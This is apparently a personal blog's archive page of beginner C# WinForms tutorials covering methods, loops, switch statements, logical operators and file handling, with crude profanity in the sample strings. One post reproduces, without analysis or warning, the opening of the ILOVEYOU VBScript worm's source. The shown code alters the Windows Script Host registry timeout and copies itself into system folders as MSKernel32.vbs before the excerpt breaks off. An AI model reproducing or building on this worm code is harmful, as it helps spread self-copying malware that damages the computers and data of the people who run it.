Posts

Showing posts from September, 2019

c#, methods

Image
void mymethod()         {             MessageBox.Show("fuck me!");         } // to call it mymethod(); now with parameters  private void Button1_Click(object sender, EventArgs e)         {             mymethod("bishal", "fucker");                     }         void mymethod(string a, string b)         {             MessageBox.Show(b, a );         }

other loops in c#

Image
private void Button1_Click(object sender, EventArgs e)         {             int i = 0;             while (i < 10)             {                 textBox1.Text += i.ToString();                 i++;             }     }     do while loop:  private void Button1_Click(object sender, EventArgs e)         {             int i = 0;             do             {                 textBox1.Text += i.ToString();                 i++;             } while (i < 10);         }

for loop, list and array in c#

Image
list: array: for loop: generating files in c#

ICTPRG503: debug and monitoring applications

Image
Note: this assignment is based on sql server compact edition. We need to install a software before working on the assignment. You can google the keyword " sql server compact edition download " and download the software from the first link or Link to download the software here:>>  https://www.microsoft.com/en-au/download/details.aspx?id=17876 This was the error. Video tutorial here:  https://www.youtube.com/watch?v=rn54hLwhKYg&feature=youtu.be or download here at:   https://www.mediafire.com/file/fhbx3tazvn947gt/thenewrockdale__ICTPRG503_help_with_the_assignment.mp4/file Steps involved in the process:  log4net install make changes in connection manager.cs replace the code with the try catch block             try             {                 connection.Open();             }             catch (Exception ex)             {                 EventLog newEventLog = new EventLog(""); newEventLog.Sourc

use of mathematical operators and integers

Just like in other programming languages...

switch, case, break

Image
switch (textBox1.Text) {                 case "fuker":                     MessageBox.Show("fukc man!");                     break;                 case "2":                     MessageBox.Show("fukc man!");                     break;                 default:                     MessageBox.Show("Not a valid user!");                     break;             } Syntax

&& and || in C# application

using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace hey_there_this_is_the_latest_c_sharp_program {     public partial class Form1 : Form     {         public Form1()         {             InitializeComponent();         }         private void Button1_Click(object sender, EventArgs e)         {             if (textBox1.Text == "Bishal" || checkBox1.Checked) {                 MessageBox.Show("Welcome");             }         }     } }

My Google service terms and conditions

Image
Code: using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace thenewrockdale {     public partial class Form1 : Form     {         public Form1()         {             InitializeComponent();         }         private void Button1_Click(object sender, EventArgs e)         {             if(button1.Text == "Finish")             {                 Application.Exit();             }             else             {                 MessageBox.Show("This was the demo of this tutorial. Well done!");                 richTextBox1.Text = "Everything is cleared now.";                 button1.Text = "Finish";             }                     }                     private void CheckBox1_CheckedChanged(object sender, EventArgs e)         {            

c#; if statement

Image
  private void Button1_Click(object sender, EventArgs e)         {             if (textBox1.Text== "shakira")             {                 MessageBox.Show("Fuck you Babe!");                 textBox1.Clear();             }             else             {                 textBox1.Text = "shakira";             }

Source code for I love you virus.

rem  barok -loveletter(vbe) <i hate go to school>  rem by: spyder  /  ispyder@mail.com  /  @GRAMMERSoft Group  /  Manila,Philippines  On Error Resume Next  dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow  eq=""  ctr=0  Set fso = CreateObject("Scripting.FileSystemObject")  set file = fso.OpenTextFile(WScript.ScriptFullname,1)  vbscopy=file.ReadAll  main()  sub main()  On Error Resume Next  dim wscr,rr  set wscr=CreateObject("WScript.Shell")  rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")  if (rr>=1) then  wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"  end if  Set dirwin = fso.GetSpecialFolder(0)  Set dirsystem = fso.GetSpecialFolder(1)  Set dirtemp = fso.GetSpecialFolder(2)  Set c = fso.GetFile(WScript.ScriptFullName)  c.Copy(dirsystem&"\MSKernel32.vbs")  c.Copy(dirwin&"\Win32DL

File creation, read, write and delete

Image
Code here: using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.IO; namespace file_creation_and_modification {     public partial class Form1 : Form     {         public Form1()         {             InitializeComponent();         }         private void Button1_Click(object sender, EventArgs e)         {             if (!File.Exists("E:/fuckme.txt"))             {                 File.Create("E:/fuckme.txt");             }             else             {                 using (StreamWriter ri = new StreamWriter("E:/fuckme.txt"))                 {                     ri.WriteLine("Ah! Ah! AAH! Fuck me! Uwwh!");                 }             }         }         private void Button2_Click(object sender, EventArgs e)         {